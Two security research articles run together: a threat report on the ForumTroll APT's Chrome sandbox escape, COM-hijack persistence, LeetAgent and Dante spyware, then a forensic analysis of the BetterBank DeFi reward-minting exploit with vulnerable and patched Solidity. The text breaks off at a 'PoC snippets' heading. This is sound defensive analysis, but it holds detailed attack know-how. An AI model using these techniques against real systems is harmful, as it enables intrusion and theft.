We traced the malware used in this attack back to 2022 and discovered more attacks by this threat actor on organizations and individuals in Russia and Belarus. While analyzing the malware used in these attacks, we discovered an unknown piece of malware that we identified as commercial spyware called “Dante” and developed by the Italian company Memento Labs (formerly Hacking Team).
Similarities in the code suggest that the Operation ForumTroll campaign was also carried out using tools developed by Memento Labs.
In this blog post, we’ll take a detailed look at the Operation ForumTroll attack chain and reveal how we discovered and identified the Dante spyware, which remained hidden for years after the Hacking Team rebrand.
Attack chain
Operation ForumTroll attack chain
In all known cases, infection occurred after the victim clicked a link in a spear phishing email that directed them to a malicious website. The website verified the victim and executed the exploit.
When we first discovered and began analyzing this campaign, the malicious website no longer contained the code responsible for carrying out the infection; it simply redirected visitors to the official Primakov Readings website.
Therefore, we could only work with the attack artifacts discovered during the first wave of infections. Fortunately, Kaspersky technologies detected nearly all of the main stages of the attack, enabling us to reconstruct and analyze the Operation ForumTroll attack chain.
Phishing email
Example of a malicious email used in this campaign (translated from Russian)
The malicious emails sent by the attackers were disguised as invitations from the organizers of the Primakov Readings scientific and expert forum. These emails contained personalized links to track infections. The emails appeared authentic, contained no language errors, and were written in the style one would expect for an invitation to such an event. Proficiency in Russian and familiarity with local peculiarities are distinctive features of the ForumTroll APT group, traits that we have also observed in its other campaigns. However, mistakes in some of those other cases suggest that the attackers were not native Russian speakers.
Validator
The validator is a relatively small script executed by the browser. It validates the victim and securely downloads and executes the next stage of the attack.
The first action the validator performs is to calculate the SHA-256 of the random data received from the server using the WebGPU API. It then verifies the resulting hash. This is done using the open-source code of Marco Ciaramella’s sha256-gpu project. The main purpose of this check is likely to verify that the site is being visited by a real user with a real web browser, and not by a mail server that might follow a link, emulate a script, and download an exploit. Another possible reason for this check could be that the exploit triggers a vulnerability in the WebGPU API or relies on it for exploitation.
The validator sends the infection identifier, the result of the WebGPU API check and the newly generated public key to the C2 server for key exchange using the Elliptic-curve Diffie–Hellman (ECDH) algorithm. If the check is passed, the server responds with an AES-GCM key. This key is used to decrypt the next stage, which is hidden in requests to bootstrap.bundle.min.js and .woff2 font files. Following the timeline of events and the infection logic, this next stage should have been a remote code execution (RCE) exploit for Google Chrome, but it was not obtained during the attack.
Sandbox escape exploit
List of in-the-wild 0-days caught and reported by Kaspersky
Over the years, we have discovered and reported on dozens of zero-day exploits that were actively used in attacks. However, CVE-2025-2783 is one of the most intriguing sandbox escape exploits we’ve encountered. This exploit genuinely puzzled us because it allowed attackers to bypass Google Chrome’s sandbox protection without performing any obviously malicious or prohibited actions. This was due to a powerful logical vulnerability caused by an obscure quirk in the Windows OS.
To protect against bugs and crashes, and enable sandboxing, Chrome uses a multi-process architecture. The main process, known as the browser process, handles the user interface and manages and supervises other processes. Sandboxed renderer processes handle web content and have limited access to system resources. Chrome uses Mojo and the underlying ipcz library, introduced to replace legacy IPC mechanisms, for interprocess communication between the browser and renderer processes.
The exploit we discovered came with its own Mojo and ipcz libraries that were statically compiled from official sources. This enabled attackers to communicate with the IPC broker within the browser process without having to manually craft and parse ipcz messages. However, this created a problem for us because, to analyze the exploit, we had to identify all the Chrome library functions it used. This involved a fair amount of work, but once completed, we knew all the actions performed by the exploit.
In short, the exploit does the following:
Resolves the addresses of the necessary functions and code gadgets from dll using a pattern search.
Hooks the v8_inspector::V8Console::Debug function. This allows attackers to escape the sandbox and execute the desired payload via a JavaScript call.
Starts executing a sandbox escape when attackers call console.debug(0x42, shellcode); from their script.
Hooks the ipcz::NodeLink::OnAcceptRelayedMessage function.
Creates and sends an ipcz message of the type RelayMessage. This message type is used to pass Windows OS handles between two processes that do not have the necessary permissions (e.g., renderer processes). The exploit retrieves the handle returned by the GetCurrentThread API function and uses this ipcz message to relay it to itself. The broker transfers handles between processes using the DuplicateHandle API function.
Receives the relayed message back using the ipcz::NodeLink::OnAcceptRelayedMessage function hook, but instead of the handle that was previously returned by the GetCurrentThread API function, it now contains a handle to the thread in the browser process!
Uses this handle to execute a series of code gadgets in the target process by suspending the thread, setting register values using SetThreadContext, and resuming the thread. This results in shellcode execution in the browser process and subsequent installation of a malware loader.
So, what went wrong, and how was this possible? The answer can be found in the descriptions of the GetCurrentThread and GetCurrentProcess API functions. When these functions are called, they don’t return actual handles; rather, they return pseudo handles, special constants that are interpreted by the kernel as a handle to the current thread or process. For the current process, this constant is -1 (also equal to INVALID_HANDLE_VALUE, which brings its own set of quirks), and the constant for the current thread is -2. Chrome’s IPC code already checked for handles equal to -1, but there were no checks for -2 or other undocumented pseudo handles. This oversight led to the vulnerability. As a result, when the broker passed the -2 pseudo handle received from the renderer to the DuplicateHandle API function while processing the RelayMessage, it converted -2 into a real handle to its own thread and passed it to the renderer.
Shortly after the patch was released, it became clear that Chrome was not the only browser affected by the issue. Firefox developers quickly identified a similar pattern in their IPC code and released an update under CVE-2025-2857.
When pseudo handles were first introduced, they simplified development and helped squeeze out extra performance – something that was crucial on older PCs. Now, decades later, that outdated optimization has come back to bite us.
Could we see more bugs like this? Absolutely. In fact, this represents a whole class of vulnerabilities worth hunting for – similar issues may still be lurking in other applications and Windows system services.
To learn about the hardening introduced in Google Chrome following the discovery of CVE-2025-2783, we recommend checking out Alex Gough’s upcoming presentation, “Responding to an ITW Chrome Sandbox Escape (Twice!),” at Kawaiicon.
Persistent loader
Persistence is achieved using the Component Object Model (COM) hijacking technique. This method exploits a system’s search order for COM objects. In Windows, each COM class has a registry entry that associates the CLSID (128-bit GUID) of the COM with the location of its DLL or EXE file. These entries are stored in the system registry hive HKEY_LOCAL_MACHINE (HKLM), but can be overridden by entries in the user registry hive HKEY_CURRENT_USER (HKCU). This enables attackers to override the CLSID entry and run malware when the system attempts to locate and run the correct COM component.
COM hijacking in a nutshell
The attackers used this technique to override the CLSID of twinapi.dll {AA509086-5Ca9-4C25-8F95-589D3C07B48A} and cause the system processes and web browsers to load the malicious DLL.
This malicious DLL is a loader that decrypts and executes the main malware. The payload responsible for loading the malware is encoded using a simple binary encoder similar to those found in the Metasploit framework. It is also obfuscated with OLLVM. Since the hijacked COM object can be loaded into many processes, the payload checks the name of the current process and only loads the malware when it is executed by certain processes (e.g., rdpclip.exe). The main malware is decrypted using a modified ChaCha20 algorithm. The loader also has the functionality to re-encrypt the malware using the BIOS UUID to bind it to the infected machine. The decrypted data contains the main malware and a shellcode generated by Donut that launches it.
LeetAgent
LeetAgent is the spyware used in the Operation ForumTroll campaign. We named it LeetAgent because all of its commands are written in leetspeak. You might not believe it, but this is rare in APT malware. The malware connects to one of its C2 servers specified in the configuration and uses HTTPS to receive and execute commands identified by unique numeric values:
0xC033A4D (COMMAND) – Run command with cmd.exe
0xECEC (EXEC) – Execute process
0x6E17A585 (GETTASKS) – Get list of tasks that agent is currently executing
0x6177 (KILL) – Stop task
0xF17E09 (FILE \x09) – Write file
0xF17ED0 (FILE \xD0) – Read file
0x1213C7 (INJECT) – Inject shellcode
0xC04F (CONF) – Set communication parameters
0xD1E (DIE) – Quit
0xCD (CD) – Change current directory
0x108 (JOB) – Set parameters for keylogger or file stealer
In addition to executing commands received from its C2, it runs keylogging and file-stealing tasks in the background. By default, the file-stealer task searches for documents with the following extensions: *.doc, *.xls, *.ppt, *.rtf, *.pdf, *.docx, *.xlsx, *.pptx.
The configuration data is encoded using the TLV (tag-length-value) scheme and encrypted with a simple single-byte XOR cipher. The data contains settings for communicating with the C2, including many settings for traffic obfuscation.
In most of the observed cases, the attackers used the Fastly.net cloud infrastructure to host their C2. Attackers frequently use it to download and run additional tools such as 7z, Rclone, SharpChrome, etc., as well as additional malware (more on that below).
The number of traffic obfuscation settings may indicate that LeetAgent is a commercial tool, though we have only seen ForumTroll APT use it.
Finding Dante
In our opinion, attributing unknown malware is the most challenging aspect of security research. Why? Because it’s not just about analyzing the malware or exploits used in a single attack; it’s also about finding and analyzing all the malware and exploits used in past attacks that might be related to the one you’re currently investigating. This involves searching for and investigating similar attacks using indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs), as well as identifying overlaps in infrastructure, code, etc. In short, it’s about finding and piecing together every scrap of evidence until a picture of the attacker starts to emerge.
We traced the first use of LeetAgent back to 2022 and discovered more ForumTroll APT attacks on organizations and individuals in Russia and Belarus. In many cases, the infection began with a phishing email containing malicious attachments with the following names:
Baltic_Vector_2023.iso (translated from Russian)
DRIVE.GOOGLE.COM (executable file)
Invitation_Russia-Belarus_strong_partnership_2024.lnk (translated from Russian)
Various other file names mentioning individuals and companies
In addition, we discovered another cluster of similar attacks that used more sophisticated spyware instead of LeetAgent. We were also able to track the first use of this spyware back to 2022. In this cluster, the infections began with phishing emails containing malicious attachments with the following names:
SCAN_XXXX_<DATE>.pdf.lnk
<DATE>_winscan_to_pdf.pdf.lnk
Rostelecom.pdf.lnk (translated from Russian)
Various others
The attackers behind this activity used similar file system paths and the same persistence method as the LeetAgent cluster. This led us to suspect that the two clusters might be related, and we confirmed a direct link when we discovered attacks in which this much more sophisticated spyware was launched by LeetAgent.
Connection between LeetAgent and commercial spyware called Dante
After analyzing this previously unknown, sophisticated spyware, we were able to identify it as commercial spyware called Dante, developed by the Italian company Memento Labs.
The Atlantic Council’s Cyber Statecraft Initiative recently published an interesting report titled “Mythical Beasts and where to find them: Mapping the global spyware market and its threats to national security and human rights.” We think that comparing commercial spyware to mythical beasts is a fitting analogy. While everyone in the industry knows that spyware vendors exist, their “products” are rarely discovered or identified. Meanwhile, the list of companies developing commercial spyware is huge. Some of the most famous are NSO Group, Intellexa, Paragon Solutions, Saito Tech (formerly Candiru), Vilicius Holding (formerly FinFisher), Quadream, Memento Labs (formerly Hacking Team), negg Group, and RCS Labs. Some are always in the headlines, some we have reported on before, and a few have almost completely faded from view. One company in the latter category is Memento Labs, formerly known as Hacking Team.
Hacking Team (also stylized as HackingTeam) is one of the oldest and most famous spyware vendors. Founded in 2003, Hacking Team became known for its Remote Control Systems (RCS) spyware, used by government clients worldwide, and for the many controversies surrounding it. The company’s trajectory changed dramatically in 2015 when more than 400 GB of internal data was leaked online following a hack. In 2019, the company was acquired by InTheCyber Group and renamed Memento Labs. “We want to change absolutely everything,” the Memento Labs owner told Motherboard in 2019. “We’re starting from scratch.” Four years later, at the ISS World MEA 2023 conference for law enforcement and government intelligence agencies, Memento Labs revealed the name of its new surveillance tool – DANTE. Until now, little was known about this malware’s capabilities, and its use in attacks had not been discovered.
Excerpt from the agenda of the ISS World MEA 2023 conference (the typo was introduced on the conference website)
The problem with detecting and attributing commercial spyware is that vendors typically don’t include their copyright information or product names in their exploits and malware. In the case of the Dante spyware, however, attribution was simple once we got rid of VMProtect’s obfuscation and found the malware name in the code.
Dante spyware name in the code
Dante
Of course, our attribution isn’t based solely on the string “Dante” found in the code, but it was an important clue that pointed us in the right direction. After some additional analysis, we found a reference to a “2.0” version of the malware, which matches the title of the aforementioned conference talk. We then searched for and identified the most recent samples of Hacking Team’s Remote Control Systems (RCS) spyware. Memento Labs kept improving its codebase until 2022, when it was replaced by Dante. Even with the introduction of the new malware, however, not everything was built from scratch; the later RCS samples share quite a few similarities with Dante. All these findings make us very confident in our attribution.
Why did the authors name it Dante? This may be a nod to tradition, as RCS spyware was also known as “Da Vinci”. But it could also be a reference to Dante’s poem Divine Comedy, alluding to the many “circles of hell” that malware analysts must pass through when detecting and analyzing the spyware given its numerous anti-analysis techniques.
First of all, the spyware is packed with VMProtect. It obfuscates control flow, hides imported functions, and adds anti-debugging checks. On top of that, almost every string is encrypted.
VMProtect anti-debugging technique
To protect against dynamic analysis, Dante uses the following anti-hooking technique: when code needs to execute an API function, its address is resolved using a hash, its body is parsed to extract the system call number, and then a new system call stub is created and used.
Dante anti-hooking technique (simplified)
In addition to VMProtect’s anti-debugging techniques, Dante uses some common methods to detect debuggers. Specifically, it checks the debug registers (Dr0–Dr7) using NtGetContextThread, inspects the KdDebuggerEnabled field in the KUSER_SHARED_DATA structure, and uses NtQueryInformationProcess to detect debugging by querying the ProcessDebugFlags, ProcessDebugPort, ProcessDebugObjectHandle, and ProcessTlsInformation classes.
To protect itself from being discovered, Dante employs an interesting method of checking the environment to determine if it is safe to continue working. It queries the Windows Event Log for events that may indicate the use of malware analysis tools or virtual machines (as a guest or host).
The strings Dante searches for in the event logs
It also performs several anti-sandbox checks. It searches for “bad” libraries, measures the execution times of the sleep() function and the cpuid instruction, and checks the file system.
Some of these anti-analysis techniques may be a bit annoying, but none of them really work or can stop a professional malware analyst. We deal with these techniques on an almost daily basis.
After performing all the checks, Dante does the following: decrypts the configuration and the orchestrator, finds the string “DANTEMARKER” in the orchestrator, overwrites it with the configuration, and then loads the orchestrator.
The configuration is decrypted from the data section of the malware using a simple XOR cipher. The orchestrator is decrypted from the resource section and poses as a font file. Dante can also load and decrypt the orchestrator from the file system if a newer, updated version is available.
The orchestrator displays the code quality of a commercial product, but isn’t particularly interesting. It is responsible for communication with C2 via HTTPs protocol, handling modules and configuration, self-protection, and self-removal.
Modules can be saved and loaded from the file system or loaded from memory. The infection identifier (GUID) is encoded in Base64. Parts of the resulting string are used to derive the path to a folder containing modules and the path to additional settings stored in the registry.
An example of Dante’s paths derivation
The folder containing modules includes a binary file that stores information about all downloaded modules, including their versions and filenames. This metadata file is encrypted with a simple XOR cipher, while the modules are encrypted with AES-256-CBC, using the first 0x10 bytes of the module file as the IV and the key bound to the machine. The key is equal to the SHA-256 hash of a buffer containing the CPU identifier and the Windows Product ID.
To protect itself, the orchestrator uses many of the same anti-analysis techniques, along with additional checks for specific process names and drivers.
If Dante doesn’t receive commands within the number of days specified in the configuration, it deletes itself and all traces of its activity.
At the time of writing this report, we were unable to analyze additional modules because there are currently no active Dante infections among our users. However, we would gladly analyze them if they become available. Now that information about this spyware has been made public and its developer has been identified, we hope it won’t be long before additional modules are discovered and examined. To support this effort, we are sharing a method that can be used to identify active Dante spyware infections (see the Indicators of compromise section).
Although we didn’t see the ForumTroll APT group using Dante in the Operation ForumTroll campaign, we have observed its use in other attacks linked to this group. Notably, we saw several minor similarities between this attack and others involving Dante, such as similar file system paths, the same persistence mechanism, data hidden in font files, and other minor details. Most importantly, we found similar code shared by the exploit, loader, and Dante. Taken together, these findings allow us to conclude that the Operation ForumTroll campaign was also carried out using the same toolset that comes with the Dante spyware.
Conclusion
This time, we have not one, but three conclusions.
1) DuplicateHandle is a dangerous API function. If the process is privileged and the user can provide a handle to it, the code should return an error when a pseudo-handle is supplied.
2) Attribution is the most challenging part of malware analysis and threat intelligence, but also the most rewarding when all the pieces of the puzzle fit together perfectly. If you ever dreamed of being a detective as a child and solving mysteries like Sherlock Holmes, Miss Marple, Columbo, or Scooby-Doo and the Mystery Inc. gang, then threat intelligence might be the right job for you!
3) Back in 2019, Hacking Team’s new owner stated in an interview that they wanted to change everything and start from scratch. It took some time, but by 2022, almost everything from Hacking Team had been redone. Now that Dante has been discovered, perhaps it’s time to start over again.
Full details of this research, as well as future updates on ForumTroll APT and Dante, are available to customers of the APT reporting service through our Threat Intelligence Portal.
TTP detection rules in Kaspersky NEXT EDR Expert suspicious_drop_dll_via_chrome
This rule detects a DLL load within a Chrome process, initiated via Outlook. This behavior is consistent with exploiting a vulnerability that enables browser sandbox bypass through the manipulation of Windows pseudo-handles and IPC.
possible_com_hijacking_by_memento_labs_via_registry
This rule detects an attempt at system persistence via the COM object hijacking technique, which exploits peculiarities in the Windows COM component resolution process. This feature allows malicious actors to create custom CLSID entries in the user-specific registry branch, thereby overriding legitimate system components. When the system attempts to instantiate the corresponding COM object, the malicious payload executes instead of the original code.
cve_exploit_detected
This generic rule is designed to detect attempts by malicious actors to exploit various vulnerabilities. Its logic is based on analyzing a broad set of characteristic patterns that reflect typical exploitation behavior.
Folder with modules
The folder containing the modules is located in %LocalAppData%, and is named with an eight-byte Base64 string. It contains files without extensions whose names are also Base64 strings that are eight bytes long. One of the files has the same name as the folder. This information can be used to identify an active infection.
From August 26 to 27, 2025, BetterBank, a decentralized finance (DeFi) protocol operating on the PulseChain network, fell victim to a sophisticated exploit involving liquidity manipulation and reward minting. The attack resulted in an initial loss of approximately $5 million in digital assets. Following on-chain negotiations, the attacker returned approximately $2.7 million in assets, mitigating the financial damage and leaving a net loss of around $1.4 million. The vulnerability stemmed from a fundamental flaw in the protocol’s bonus reward system, specifically in the swapExactTokensForFavorAndTrackBonus function. This function was designed to mint ESTEEM reward tokens whenever a swap resulted in FAVOR tokens, but critically, it lacked the necessary validation to ensure that the swap occurred within a legitimate, whitelisted liquidity pool.
A prior security audit by Zokyo had identified and flagged this precise vulnerability. However, due to a documented communication breakdown and the vulnerability’s perceived low severity, the finding was downgraded, and the BetterBank development team did not fully implement the recommended patch. This incident is a pivotal case study demonstrating how design-level oversights, compounded by organizational inaction in response to security warnings, can lead to severe financial consequences in the high-stakes realm of blockchain technology. The exploit underscores the importance of thorough security audits, clear communication of findings, and multilayered security protocols to protect against increasingly sophisticated attack vectors.
In this article, we will analyze the root cause, impact, and on-chain forensics of the helper contracts used in the attack.
Incident overview
Incident timeline
The BetterBank exploit was the culmination of a series of events that began well before the attack itself. In July 2025, approximately one month prior to the incident, the BetterBank protocol underwent a security audit conducted by the firm Zokyo. The audit report, which was made public after the exploit, explicitly identified a critical vulnerability related to the protocol’s bonus system. Titled “A Malicious User Can Trade Bogus Tokens To Qualify For Bonus Favor Through The UniswapWrapper,” the finding was a direct warning about the exploit vector that would later be used. However, based on the documented proof of concept (PoC), which used test Ether, the severity of the vulnerability was downgraded to “Informational” and marked as “Resolved” in the report. The BetterBank team did not fully implement the patched code snippet.
The attack occurred on August 26, 2025. In response, the BetterBank team drained all remaining FAVOR liquidity pools to protect the assets that had not yet been siphoned. The team also took the proactive step of announcing a 20% bounty for the attacker and attempted to negotiate the return of funds.
Remarkably, these efforts were successful. On August 27, 2025, the attacker returned a significant portion of the stolen assets – 550 million DAI tokens. This partial recovery is not a common outcome in DeFi exploits.
Financial impact
This incident had a significant financial impact on the BetterBank protocol and its users. Approximately $5 million worth of assets was initially drained. The attack specifically targeted liquidity pools, allowing the perpetrator to siphon off a mix of stablecoins and native PulseChain assets. The drained assets included 891 million DAI tokens, 9.05 billion PLSX tokens, and 7.40 billion WPLS tokens.
In a positive turn of events, the attacker returned approximately $2.7 million in assets, specifically 550 million DAI. These funds represented a significant portion of the initial losses, resulting in a final net loss of around $1.4 million. This figure speaks to the severity of the initial exploit and the effectiveness of the team’s recovery efforts. While data from various sources show minor fluctuations in reported values due to real-time token price volatility, they consistently point to these key figures.
A detailed breakdown of the losses and recovery is provided in the following table:
Financial Metric
Value
Details
Initial Total Loss
~$5,000,000
The total value of assets drained during the exploit.
Assets Drained
891M DAI, 9.05B PLSX, 7.40B WPLS
The specific tokens and quantities siphoned from the protocol’s liquidity pools.
Assets Returned
~$2,700,000 (550M DAI)
The value of assets returned by the attacker following on-chain negotiations.
Net Loss
~$1,400,000
The final, unrecovered financial loss to the protocol and its users.
Protocol description and vulnerability analysis
The BetterBank protocol is a decentralized lending platform on the PulseChain network. It incorporates a two-token system that incentivizes liquidity provision and engagement. The primary token is FAVOR, while the second, ESTEEM, acts as a bonus reward token. The protocol’s core mechanism for rewarding users was tied to providing liquidity for FAVOR on decentralized exchanges (DEXs). Specifically, a function was designed to mint and distribute ESTEEM tokens whenever a trade resulted in FAVOR as the output token. While seemingly straightforward, this incentive system contained a critical design flaw that an attacker would later exploit.
The vulnerability was not a mere coding bug, but a fundamental architectural misstep. By tying rewards to a generic, unvalidated condition – the appearance of FAVOR in a swap’s output – the protocol created an exploitable surface. Essentially, this design choice trusted all external trading environments equally and failed to anticipate that a malicious actor could replicate a trusted environment for their own purposes. This is a common failure in tokenomics, where the focus on incentivization overlooks the necessary security and validation mechanisms that should accompany the design of such features.
The technical root cause of the vulnerability was a fundamental logic flaw in one of BetterBank’s smart contracts. The vulnerability was centered on the swapExactTokensForFavorAndTrackBonus function. The purpose of this function was to track swaps and mint ESTEEM bonuses. However, its core logic was incomplete: it only verified that FAVOR was the output token from the swap and failed to validate the source of the swap itself. The contract did not check whether the transaction originated from a legitimate, whitelisted liquidity pool or a registered contract. This lack of validation created a loophole that allowed an attacker to trigger the bonus system at will by creating a fake trading environment.
This primary vulnerability was compounded by a secondary flaw in the protocol’s tokenomics: the flawed design of convertible rewards.
The ESTEEM tokens, minted as a bonus, could be converted back into FAVOR tokens. This created a self-sustaining feedback loop. An attacker could trigger the swapExactTokensForFavorAndTrackBonus function to mint ESTEEM, and then use those newly minted tokens to obtain more FAVOR. The FAVOR could then be used in subsequent swaps to mint even more ESTEEM rewards. This cyclical process enabled the attacker to generate an unlimited supply of tokens and drain the protocol’s real reserves. The synergistic combination of logic and design flaws created a high-impact attack vector that was difficult to contain once initiated.
To sum it up, the BetterBank exploit was the result of a critical vulnerability in the bonus minting system that allowed attackers to create fake liquidity pairs and harvest an unlimited amount of ESTEEM token rewards. As mentioned above, the system couldn’t distinguish between legitimate and malicious liquidity pairs, creating an opportunity for attackers to generate illegitimate token pairs. The BetterBank system included protection measures against attacks capable of inflicting substantial financial damage – namely a sell tax. However, the threat actors were able to bypass this tax mechanism, which exacerbated the impact of the attack.
Exploit breakdown
The exploit targeted the bonus minting system of the favorPLS.sol contract, specifically the logBuy() function and related tax logic. The key vulnerable components are:
The tax only applies to transfers to legitimate, whitelisted addresses that are marked as isMarketPair[recipient]. By definition, fake, unauthorized LPs are not included in this mapping, so they bypass the maximum 50% sell tax imposed by protocol owners.
function _transfer(address sender, address recipient, uint256 amount) internal override {
uint256 taxAmount = 0;
if (_isTaxExempt(sender, recipient)) {
super._transfer(sender, recipient, amount);
return;
}
// Transfer to Market Pair is likely a sell to be taxed
if (isMarketPair[recipient]) {
taxAmount = (amount * sellTax) / MULTIPLIER;
}
if (taxAmount > 0) {
super._transfer(sender, treasury, taxAmount);
amount -= taxAmount;
}
super._transfer(sender, recipient, amount);
}
The uniswapWraper.sol contract contains the buy wrapper functions that call logBuy(). The system only checks if the pair is in allowedDirectPair mapping, but this can be manipulated by creating fake tokens and adding them to the mapping to get them approved.
function swapExactTokensForFavorAndTrackBonus(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external {
address finalToken = path[path.length - 1];
require(isFavorToken[finalToken], "Path must end in registered FAVOR");
require(allowedDirectPair[path[0]][finalToken], "Pair not allowed");
require(path.length == 2, "Path must be direct");
// ... swap logic ...
uint256 twap = minterOracle.getTokenTWAP(finalToken);
if(twap < 3e18){
IFavorToken(finalToken).logBuy(to, favorReceived);
}
}
Step-by-step attack reconstruction
The attack on BetterBank was not a single transaction, but rather a carefully orchestrated sequence of on-chain actions. The exploit began with the attacker acquiring the necessary capital through a flash loan. Flash loans are a feature of many DeFi protocols that allow a user to borrow large sums of assets without collateral, provided the loan is repaid within the same atomic transaction. The attacker used the loan to obtain a significant amount of assets, which were then used to manipulate the protocol’s liquidity pools.
The attacker used the flash loan funds to target and drain the real DAI-PDAIF liquidity pool, a core part of the BetterBank protocol. This initial step was crucial because it weakened the protocol’s defenses and provided the attacker with a large volume of PDAIF tokens, which were central to the reward-minting scheme.
Capital acquisition
After draining the real liquidity pool, the attacker moved to the next phase of the operation. They deployed a new, custom, and worthless ERC-20 token. Exploiting the permissionless nature of PulseX, the attacker then created a fake liquidity pool, pairing their newly created bogus token with PDAIF.
This fake pool was key to the entire exploit. It enabled the attacker to control both sides of a trading pair and manipulate the price and liquidity to their advantage without affecting the broader market.
One critical element that made this attack profitable was the protocol’s tax logic. BetterBank had implemented a system that levied high fees on bulk swaps to deter this type of high-volume trading. However, the tax only applied to “official” or whitelisted liquidity pairs. Since the attacker’s newly created pool was not on this list, they were able to conduct their trades without incurring any fees. This critical loophole ensured the attack’s profitability.
Fake LP pair creation
After establishing the bogus token and fake liquidity pool, the attacker initiated the final and most devastating phase of the exploit: the reward minting loop. They executed a series of rapid swaps between their worthless token and PDAIF within their custom-created pool. Each swap triggered the vulnerable swapExactTokensForFavorAndTrackBonus function in the BetterBank contract. Because the function did not validate the pool, it minted a substantial bonus of ESTEEM tokens with each swap, despite the illegitimacy of the trading pair.
Each swap triggers:
swapExactTokensForFavorAndTrackBonus()
logBuy() function call
calculateFavorBonuses() execution
ESTEEM token minting (44% bonus)
fake LP sell tax bypass
Reward minting loop
The newly minted ESTEEM tokens were then converted back into FAVOR tokens, which could be used to facilitate more swaps. This created a recursive loop that allowed the attacker to generate an immense artificial supply of rewards and drain the protocol’s real asset reserves. Using this method, the attacker extracted approximately 891 million DAI, 9.05 billion PLSX, and 7.40 billion WPLS, effectively destabilizing the entire protocol. The success of this multi-layered attack demonstrates how a single fundamental logic flaw, combined with a series of smaller design failures, can lead to a catastrophic outcome.
Economic impact comparison
Mitigation strategy
This attack could have been averted if a number of security measures had been implemented.
First, the liquidity pool should be verified during a swap. The LP pair and liquidity source must be valid.
function _transfer(address sender, address recipient, uint256 amount) internal override {
uint256 taxAmount = 0;
if (_isTaxExempt(sender, recipient)) {
super._transfer(sender, recipient, amount);
return;
}
// FIX: Apply tax to ALL transfers, not just market pairs
if (isMarketPair[recipient] || isUnverifiedPair(recipient)) {
taxAmount = (amount * sellTax) / MULTIPLIER;
}
if (taxAmount > 0) {
super._transfer(sender, treasury, taxAmount);
amount -= taxAmount;
}
super._transfer(sender, recipient, amount);
}
To prevent large-scale one-time attacks, a daily limit should be introduced to stop users from conducting transactions totaling more than 10,000 ESTEEM tokens per day.
mapping(address => uint256) public lastBonusClaim;
mapping(address => uint256) public dailyBonusLimit;
uint256 public constant MAX_DAILY_BONUS = 10000 * 1e18; // 10K ESTEEM per day
function logBuy(address user, uint256 amount) external {
require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");
// ADD: Rate limiting
require(block.timestamp - lastBonusClaim[user] > 1 hours, "Rate limited");
require(dailyBonusLimit[user] < MAX_DAILY_BONUS, "Daily limit exceeded");
// Update rate limiting
lastBonusClaim[user] = block.timestamp;
dailyBonusLimit[user] += calculatedBonus;
// ... rest of function
}
On-chain forensics and fund tracing
The on-chain trail left by the attacker provides a clear forensic record of the exploit. After draining the assets on PulseChain, the attacker swapped the stolen DAI, PLSX, and WPLS for more liquid, cross-chain assets. The perpetrator then bridged approximately $922,000 worth of ETH from the PulseChain network to the Ethereum mainnet. This was done using a secondary attacker address beginning with 0xf3BA…, which was likely created to hinder exposure of the primary exploitation address. The final step in the money laundering process was the use of a crypto mixer, such as Tornado Cash, to obscure the origin of the funds and make them untraceable.
Tracing the flow of these funds was challenging because many public-facing block explorers for the PulseChain network were either inaccessible or lacked comprehensive data at the time of the incident. This highlights the practical difficulties associated with on-chain forensics, where the lack of a reliable, up-to-date block explorer can greatly hinder analysis. In these scenarios, it becomes critical to use open-source explorers like Blockscout, which are more resilient and transparent.
The following table provides a clear reference for the key on-chain entities involved in the attack:
On-Chain Entity
Address
Description
Primary Attacker EOA
0x48c9f537f3f1a2c95c46891332E05dA0D268869B
The main externally owned account used to initiate the attack.
Secondary Attacker EOA
0xf3BA0D57129Efd8111E14e78c674c7c10254acAE
The address used to bridge assets to the Ethereum network.
Attacker Helper Contracts
0x792CDc4adcF6b33880865a200319ecbc496e98f8, etc.
A list of contracts deployed by the attacker to facilitate the exploit.
PulseXRouter02
0x165C3410fC91EF562C50559f7d2289fEbed552d9
The PulseX decentralized exchange router contract used in the exploit.
We managed to get hold of the attacker’s helper contracts to deepen our investigation. Through comprehensive bytecode analysis and contract decompilation, we determined that the attack architecture was multilayered. The attack utilized a factory contract pattern (0x792CDc4adcF6b33880865a200319ecbc496e98f8) that contained 18,219 bytes of embedded bytecode that were dynamically deployed during execution. The embedded contract revealed three critical functions: two simple functions (0x51cff8d9 and 0x529d699e) for initialization and cleanup, and a highly complex flash loan callback function (0x920f5c84) with the signature executeOperation(address[],uint256[],uint256[],address,bytes), which matches standard DeFi flash loan protocols like Aave and dYdX. Analysis of the decompiled code revealed that the executeOperation function implements sophisticated parameter parsing for flash loan callbacks, dynamic contract deployment capabilities, and complex external contract interactions with the PulseX Router (0x165c3410fc91ef562c50559f7d2289febed552d9).
contract BetterBankExploitContract {
function main() external {
// Initialize memory
assembly {
mstore(0x40, 0x80)
}
// Revert if ETH is sent
if (msg.value > 0) {
revert();
}
// Check minimum calldata length
if (msg.data.length < 4) {
revert();
}
// Extract function selector
uint256 selector = uint256(msg.data[0:4]) >> 224;
// Dispatch to appropriate function
if (selector == 0x51cff8d9) {
// Function: withdraw(address)
withdraw();
} else if (selector == 0x529d699e) {
// Function: likely exploit execution
executeExploit();
} else if (selector == 0x920f5c84) {
// Function: executeOperation(address[],uint256[],uint256[],address,bytes)
// This is a flash loan callback function!
executeOperation();
} else {
revert();
}
}
// Function 0x51cff8d9 - Withdraw function
function withdraw() internal {
// Implementation would be in the bytecode
// Likely withdraws profits to attacker address
}
// Function 0x529d699e - Main exploit function
function executeExploit() internal {
// Implementation would be in the bytecode
// Contains the actual BetterBank exploit logic
}
// Function 0x920f5c84 - Flash loan callback
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) internal {
// This is the flash loan callback function
// Contains the exploit logic that runs during flash loan
}
}
The attack exploited three critical vulnerabilities in BetterBank’s protocol: unvalidated reward minting in the logBuy function that failed to verify legitimate trading pairs; a tax bypass mechanism in the _transfer function that only applied the 50% sell tax to addresses marked as market pairs; and oracle manipulation through fake trading volume. The attacker requested flash loans of 50M DAI and 7.14B PLP tokens, drained real DAI-PDAIF pools, and created fake PDAIF pools with minimal liquidity. They performed approximately 20 iterations of fake trading to trigger massive ESTEEM reward minting, converting the rewards into additional PDAIF tokens, before re-adding liquidity with intentional imbalances and extracting profits of approximately 891M DAI through arbitrage.
PoC snippets
To illustrate the vulnerabilities that made such an attack possible, we examined code snippets from Zokyo researchers.
